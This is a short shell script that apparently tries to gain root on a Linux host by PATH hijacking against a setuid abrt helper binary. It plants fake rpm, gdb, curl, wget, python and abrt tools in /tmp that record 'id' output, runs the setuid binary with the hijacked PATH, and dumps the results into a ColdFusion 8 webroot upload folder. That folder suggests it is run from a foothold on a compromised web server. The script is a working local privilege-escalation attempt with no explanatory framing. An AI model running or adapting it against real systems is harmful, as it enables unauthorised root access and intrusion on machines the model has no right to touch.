#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/abrt2_out.txt
rm -f /tmp/abrtpwned
mkdir -p /tmp/abrtpw
for n in rpm gdb curl wget tar abrt-action-install-debuginfo abrt-action-save-kernel-data abrt-action-analyze-core python; do
  echo '#!/bin/sh' > /tmp/abrtpw/$n
  echo "id > /tmp/abrtpwned" >> /tmp/abrtpw/$n
  chmod +x /tmp/abrtpw/$n
done
echo "=== run setuid abrt binary (PATH hijack) ===" > $O
PATH=/tmp/abrtpw:/usr/bin:/bin /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache "test.rpm" > /tmp/abrtpw_out 2>&1
echo "rc=$?" >> $O
echo "=== pwned? ===" >> $O
ls -la /tmp/abrtpwned 2>&1 >> $O
echo "=== output ===" >> $O
cat /tmp/abrtpw_out >> $O 2>&1
cat $O >> $O